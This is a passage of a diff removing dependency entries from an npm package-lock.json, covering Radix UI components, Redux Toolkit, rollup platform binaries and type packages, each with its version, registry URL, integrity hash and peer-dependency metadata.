"1.2.2", - "@radix-ui/react-use-layout-effect": "1.1.1", - "@radix-ui/react-use-previous": "1.1.1", - "@radix-ui/react-visually-hidden": "1.2.3", - "aria-hidden": "^1.2.4", - "react-remove-scroll": "^2.6.3" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-select/node_modules/@radix-ui/react-slot": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", - "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-compose-refs": "1.1.2" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-separator": { - "version": "1.1.8", - "resolved": "https://registry.npmjs.org/@radix-ui/react-separator/-/react-separator-1.1.8.tgz", - "integrity": "sha512-sDvqVY4itsKwwSMEe0jtKgfTh+72Sy3gPmQpjqcQneqQ4PFmr/1I0YA+2/puilhggCe2gJcx5EBAYFkWkdpa5g==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-primitive": "2.1.4" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-separator/node_modules/@radix-ui/react-primitive": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.4.tgz", - "integrity": "sha512-9hQc4+GNVtJAIEPEqlYqW5RiYdrr8ea5XQ0ZOnD6fgru+83kqT15mq2OCcbe8KnjRZl5vF3ks69AKz3kh1jrhg==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-slot": "1.2.4" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-slot": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.4.tgz", - "integrity": "sha512-Jl+bCv8HxKnlTLVrcDE8zTMJ09R9/ukw4qBs/oZClOfoQk/cOTbDn+NceXfV7j09YPVQUryJPHurafcSg6EVKA==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-compose-refs": "1.1.2" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-switch": { - "version": "1.2.6", - "resolved": "https://registry.npmjs.org/@radix-ui/react-switch/-/react-switch-1.2.6.tgz", - "integrity": "sha512-bByzr1+ep1zk4VubeEVViV592vu2lHE2BZY5OnzehZqOOgogN80+mNtCqPkhn2gklJqOpxWgPoYTSnhBCqpOXQ==", - "license": "MIT", - "dependencies": { - "@radix-ui/primitive": "1.1.3", - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-context": "1.1.2", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-use-controllable-state": "1.2.2", - "@radix-ui/react-use-previous": "1.1.1", - "@radix-ui/react-use-size": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-tabs": { - "version": "1.1.13", - "resolved": "https://registry.npmjs.org/@radix-ui/react-tabs/-/react-tabs-1.1.13.tgz", - "integrity": "sha512-7xdcatg7/U+7+Udyoj2zodtI9H/IIopqo+YOIcZOq1nJwXWBZ9p8xiu5llXlekDbZkca79a/fozEYQXIA4sW6A==", - "license": "MIT", - "dependencies": { - "@radix-ui/primitive": "1.1.3", - "@radix-ui/react-context": "1.1.2", - "@radix-ui/react-direction": "1.1.1", - "@radix-ui/react-id": "1.1.1", - "@radix-ui/react-presence": "1.1.5", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-roving-focus": "1.1.11", - "@radix-ui/react-use-controllable-state": "1.2.2" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-tooltip": { - "version": "1.2.8", - "resolved": "https://registry.npmjs.org/@radix-ui/react-tooltip/-/react-tooltip-1.2.8.tgz", - "integrity": "sha512-tY7sVt1yL9ozIxvmbtN5qtmH2krXcBCfjEiCgKGLqunJHvgvZG2Pcl2oQ3kbcZARb1BGEHdkLzcYGO8ynVlieg==", - "license": "MIT", - "dependencies": { - "@radix-ui/primitive": "1.1.3", - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-context": "1.1.2", - "@radix-ui/react-dismissable-layer": "1.1.11", - "@radix-ui/react-id": "1.1.1", - "@radix-ui/react-popper": "1.2.8", - "@radix-ui/react-portal": "1.1.9", - "@radix-ui/react-presence": "1.1.5", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-slot": "1.2.3", - "@radix-ui/react-use-controllable-state": "1.2.2", - "@radix-ui/react-visually-hidden": "1.2.3" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-tooltip/node_modules/@radix-ui/react-slot": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", - "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-compose-refs": "1.1.2" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-use-callback-ref": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@radix-ui/react-use-callback-ref/-/react-use-callback-ref-1.1.1.tgz", - "integrity": "sha512-FkBMwD+qbGQeMu1cOHnuGB6x4yzPjho8ap5WtbEJ26umhgqVXbhekKUQO+hZEL1vU92a3wHwdp0HAcqAUF5iDg==", - "license": "MIT", - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-use-controllable-state": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/@radix-ui/react-use-controllable-state/-/react-use-controllable-state-1.2.2.tgz", - "integrity": "sha512-BjasUjixPFdS+NKkypcyyN5Pmg83Olst0+c6vGov0diwTEo6mgdqVR6hxcEgFuh4QrAs7Rc+9KuGJ9TVCj0Zzg==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-use-effect-event": "0.0.2", - "@radix-ui/react-use-layout-effect": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-use-effect-event": { - "version": "0.0.2", - "resolved": "https://registry.npmjs.org/@radix-ui/react-use-effect-event/-/react-use-effect-event-0.0.2.tgz", - "integrity": "sha512-Qp8WbZOBe+blgpuUT+lw2xheLP8q0oatc9UpmiemEICxGvFLYmHm9QowVZGHtJlGbS6A6yJ3iViad/2cVjnOiA==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-use-layout-effect": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-use-escape-keydown": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@radix-ui/react-use-escape-keydown/-/react-use-escape-keydown-1.1.1.tgz", - "integrity": "sha512-Il0+boE7w/XebUHyBjroE+DbByORGR9KKmITzbR7MyQ4akpORYP/ZmbhAr0DG7RmmBqoOnZdy2QlvajJ2QA59g==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-use-callback-ref": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-use-layout-effect": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@radix-ui/react-use-layout-effect/-/react-use-layout-effect-1.1.1.tgz", - "integrity": "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ==", - "license": "MIT", - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-use-previous": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@radix-ui/react-use-previous/-/react-use-previous-1.1.1.tgz", - "integrity": "sha512-2dHfToCj/pzca2Ck724OZ5L0EVrr3eHRNsG/b3xQJLA2hZpVCS99bLAX+hm1IHXDEnzU6by5z/5MIY794/a8NQ==", - "license": "MIT", - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-use-rect": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@radix-ui/react-use-rect/-/react-use-rect-1.1.1.tgz", - "integrity": "sha512-QTYuDesS0VtuHNNvMh+CjlKJ4LJickCMUAqjlE3+j8w+RlRpwyX3apEQKGFzbZGdo7XNG1tXa+bQqIE7HIXT2w==", - "license": "MIT", - "dependencies": { - "@radix-ui/rect": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-use-size": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@radix-ui/react-use-size/-/react-use-size-1.1.1.tgz", - "integrity": "sha512-ewrXRDTAqAXlkl6t/fkXWNAhFX9I+CkKlw6zjEwk86RSPKwZr3xpBRso655aqYafwtnbpHLj6toFzmd6xdVptQ==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-use-layout-effect": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-visually-hidden": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/@radix-ui/react-visually-hidden/-/react-visually-hidden-1.2.3.tgz", - "integrity": "sha512-pzJq12tEaaIhqjbzpCuv/OypJY/BPavOofm+dbab+MHLajy277+1lLm6JFcGgF5eskJ6mquGirhXY2GD/8u8Ug==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-primitive": "2.1.3" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/rect": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@radix-ui/rect/-/rect-1.1.1.tgz", - "integrity": "sha512-HPwpGIzkl28mWyZqG52jiqDJ12waP11Pa1lGoiyUkIEuMLBP0oeK/C89esbXrxsky5we7dfd8U58nm0SgAWpVw==", - "license": "MIT" - }, - "node_modules/@reduxjs/toolkit": { - "version": "2.11.2", - "resolved": "https://registry.npmjs.org/@reduxjs/toolkit/-/toolkit-2.11.2.tgz", - "integrity": "sha512-Kd6kAHTA6/nUpp8mySPqj3en3dm0tdMIgbttnQ1xFMVpufoj+ADi8pXLBsd4xzTRHQa7t/Jv8W5UnCuW4kuWMQ==", - "license": "MIT", - "dependencies": { - "@standard-schema/spec": "^1.0.0", - "@standard-schema/utils": "^0.3.0", - "immer": "^11.0.0", - "redux": "^5.0.1", - "redux-thunk": "^3.1.0", - "reselect": "^5.1.0" - }, - "peerDependencies": { - "react": "^16.9.0 || ^17.0.0 || ^18 || ^19", - "react-redux": "^7.2.1 || ^8.1.3 || ^9.0.0" - }, - "peerDependenciesMeta": { - "react": { - "optional": true - }, - "react-redux": { - "optional": true - } - } - }, - "node_modules/@reduxjs/toolkit/node_modules/immer": { - "version": "11.1.0", - "resolved": "https://registry.npmjs.org/immer/-/immer-11.1.0.tgz", - "integrity": "sha512-dlzb07f5LDY+tzs+iLCSXV2yuhaYfezqyZQc+n6baLECWkOMEWxkECAOnXL0ba7lsA25fM9b2jtzpu/uxo1a7g==", - "license": "MIT", - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/immer" - } - }, - "node_modules/@rolldown/pluginutils": { - "version": "1.0.0-beta.53", - "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.53.tgz", - "integrity": "sha512-vENRlFU4YbrwVqNDZ7fLvy+JR1CRkyr01jhSiDpE1u6py3OMzQfztQU2jxykW3ALNxO4kSlqIDeYyD0Y9RcQeQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/@rollup/rollup-android-arm-eabi": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.54.0.tgz", - "integrity": "sha512-OywsdRHrFvCdvsewAInDKCNyR3laPA2mc9bRYJ6LBp5IyvF3fvXbbNR0bSzHlZVFtn6E0xw2oZlyjg4rKCVcng==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ] - }, - "node_modules/@rollup/rollup-android-arm64": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.54.0.tgz", - "integrity": "sha512-Skx39Uv+u7H224Af+bDgNinitlmHyQX1K/atIA32JP3JQw6hVODX5tkbi2zof/E69M1qH2UoN3Xdxgs90mmNYw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ] - }, - "node_modules/@rollup/rollup-darwin-arm64": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.54.0.tgz", - "integrity": "sha512-k43D4qta/+6Fq+nCDhhv9yP2HdeKeP56QrUUTW7E6PhZP1US6NDqpJj4MY0jBHlJivVJD5P8NxrjuobZBJTCRw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ] - }, - "node_modules/@rollup/rollup-darwin-x64": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.54.0.tgz", - "integrity": "sha512-cOo7biqwkpawslEfox5Vs8/qj83M/aZCSSNIWpVzfU2CYHa2G3P1UN5WF01RdTHSgCkri7XOlTdtk17BezlV3A==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ] - }, - "node_modules/@rollup/rollup-freebsd-arm64": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.54.0.tgz", - "integrity": "sha512-miSvuFkmvFbgJ1BevMa4CPCFt5MPGw094knM64W9I0giUIMMmRYcGW/JWZDriaw/k1kOBtsWh1z6nIFV1vPNtA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ] - }, - "node_modules/@rollup/rollup-freebsd-x64": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.54.0.tgz", - "integrity": "sha512-KGXIs55+b/ZfZsq9aR026tmr/+7tq6VG6MsnrvF4H8VhwflTIuYh+LFUlIsRdQSgrgmtM3fVATzEAj4hBQlaqQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ] - }, - "node_modules/@rollup/rollup-linux-arm-gnueabihf": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.54.0.tgz", - "integrity": "sha512-EHMUcDwhtdRGlXZsGSIuXSYwD5kOT9NVnx9sqzYiwAc91wfYOE1g1djOEDseZJKKqtHAHGwnGPQu3kytmfaXLQ==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-arm-musleabihf": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.54.0.tgz", - "integrity": "sha512-+pBrqEjaakN2ySv5RVrj/qLytYhPKEUwk+e3SFU5jTLHIcAtqh2rLrd/OkbNuHJpsBgxsD8ccJt5ga/SeG0JmA==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-arm64-gnu": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.54.0.tgz", - "integrity": "sha512-NSqc7rE9wuUaRBsBp5ckQ5CVz5aIRKCwsoa6WMF7G01sX3/qHUw/z4pv+D+ahL1EIKy6Enpcnz1RY8pf7bjwng==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-arm64-musl": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.54.0.tgz", - "integrity": "sha512-gr5vDbg3Bakga5kbdpqx81m2n9IX8M6gIMlQQIXiLTNeQW6CucvuInJ91EuCJ/JYvc+rcLLsDFcfAD1K7fMofg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-loong64-gnu": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.54.0.tgz", - "integrity": "sha512-gsrtB1NA3ZYj2vq0Rzkylo9ylCtW/PhpLEivlgWe0bpgtX5+9j9EZa0wtZiCjgu6zmSeZWyI/e2YRX1URozpIw==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-ppc64-gnu": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.54.0.tgz", - "integrity": "sha512-y3qNOfTBStmFNq+t4s7Tmc9hW2ENtPg8FeUD/VShI7rKxNW7O4fFeaYbMsd3tpFlIg1Q8IapFgy7Q9i2BqeBvA==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-riscv64-gnu": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.54.0.tgz", - "integrity": "sha512-89sepv7h2lIVPsFma8iwmccN7Yjjtgz0Rj/Ou6fEqg3HDhpCa+Et+YSufy27i6b0Wav69Qv4WBNl3Rs6pwhebQ==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-riscv64-musl": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.54.0.tgz", - "integrity": "sha512-ZcU77ieh0M2Q8Ur7D5X7KvK+UxbXeDHwiOt/CPSBTI1fBmeDMivW0dPkdqkT4rOgDjrDDBUed9x4EgraIKoR2A==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-s390x-gnu": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.54.0.tgz", - "integrity": "sha512-2AdWy5RdDF5+4YfG/YesGDDtbyJlC9LHmL6rZw6FurBJ5n4vFGupsOBGfwMRjBYH7qRQowT8D/U4LoSvVwOhSQ==", - "cpu": [ - "s390x" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-x64-gnu": { - "version": "4.61.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.61.1.tgz", - "integrity": "sha512-bVWIOIk6pV01p4CdUbPP7CJ/434z+OooYjDuFcR+44N35YvKUC66G8MGnvcWx5mWKW3g61J+t74l3Kj15Kwn2Q==", - "cpu": [ - "x64" - ], - "libc": [ - "glibc" - ], - "license": "MIT", - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-x64-musl": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.54.0.tgz", - "integrity": "sha512-JzQmb38ATzHjxlPHuTH6tE7ojnMKM2kYNzt44LO/jJi8BpceEC8QuXYA908n8r3CNuG/B3BV8VR3Hi1rYtmPiw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-openharmony-arm64": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.54.0.tgz", - "integrity": "sha512-huT3fd0iC7jigGh7n3q/+lfPcXxBi+om/Rs3yiFxjvSxbSB6aohDFXbWvlspaqjeOh+hx7DDHS+5Es5qRkWkZg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openharmony" - ] - }, - "node_modules/@rollup/rollup-win32-arm64-msvc": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.54.0.tgz", - "integrity": "sha512-c2V0W1bsKIKfbLMBu/WGBz6Yci8nJ/ZJdheE0EwB73N3MvHYKiKGs3mVilX4Gs70eGeDaMqEob25Tw2Gb9Nqyw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@rollup/rollup-win32-ia32-msvc": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.54.0.tgz", - "integrity": "sha512-woEHgqQqDCkAzrDhvDipnSirm5vxUXtSKDYTVpZG3nUdW/VVB5VdCYA2iReSj/u3yCZzXID4kuKG7OynPnB3WQ==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@rollup/rollup-win32-x64-gnu": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.54.0.tgz", - "integrity": "sha512-dzAc53LOuFvHwbCEOS0rPbXp6SIhAf2txMP5p6mGyOXXw5mWY8NGGbPMPrs4P1WItkfApDathBj/NzMLUZ9rtQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@rollup/rollup-win32-x64-msvc": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.54.0.tgz", - "integrity": "sha512-hYT5d3YNdSh3mbCU1gwQyPgQd3T2ne0A3KG8KSBdav5TiBg6eInVmV+TeR5uHufiIgSFg0XsOWGW5/RhNcSvPg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@standard-schema/spec": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.1.0.tgz", - "integrity": "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w==", - "license": "MIT" - }, - "node_modules/@standard-schema/utils": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/@standard-schema/utils/-/utils-0.3.0.tgz", - "integrity": "sha512-e7Mew686owMaPJVNNLs55PUvgz371nKgwsc4vxE49zsODpJEnxgxRo2y/OKrqueavXgZNMDVj3DdHFlaSAeU8g==", - "license": "MIT" - }, - "node_modules/@types/babel__core": { - "version": "7.20.5", - "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz", - "integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/parser": "^7.20.7", - "@babel/types": "^7.20.7", - "@types/babel__generator": "*", - "@types/babel__template": "*", - "@types/babel__traverse": "*" - } - }, - "node_modules/@types/babel__generator": { - "version": "7.27.0", - "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz", - "integrity": "sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/types": "^7.0.0" - } - }, - "node_modules/@types/babel__template": { - "version": "7.4.4", - "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz", - "integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/parser": "^7.1.0", - "@babel/types": "^7.0.0" - } - }, - "node_modules/@types/babel__traverse": { - "version": "7.28.0", - "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz", - "integrity": "sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/types": "^7.28.2" - } - }, - "node_modules/@types/d3-array": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/@types/d3-array/-/d3-array-3.2.2.tgz", - "integrity": "sha512-hOLWVbm7uRza0BYXpIIW5pxfrKe0W+D5lrFiAEYR+pb6w3N2SwSMaJbXdUfSEv+dT4MfHBLtn5js0LAWaO6otw==", - "license": "MIT" - }, - "node_modules/@types/d3-color": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/@types/d3-color/-/d3-color-3.1.3.tgz", - "integrity": 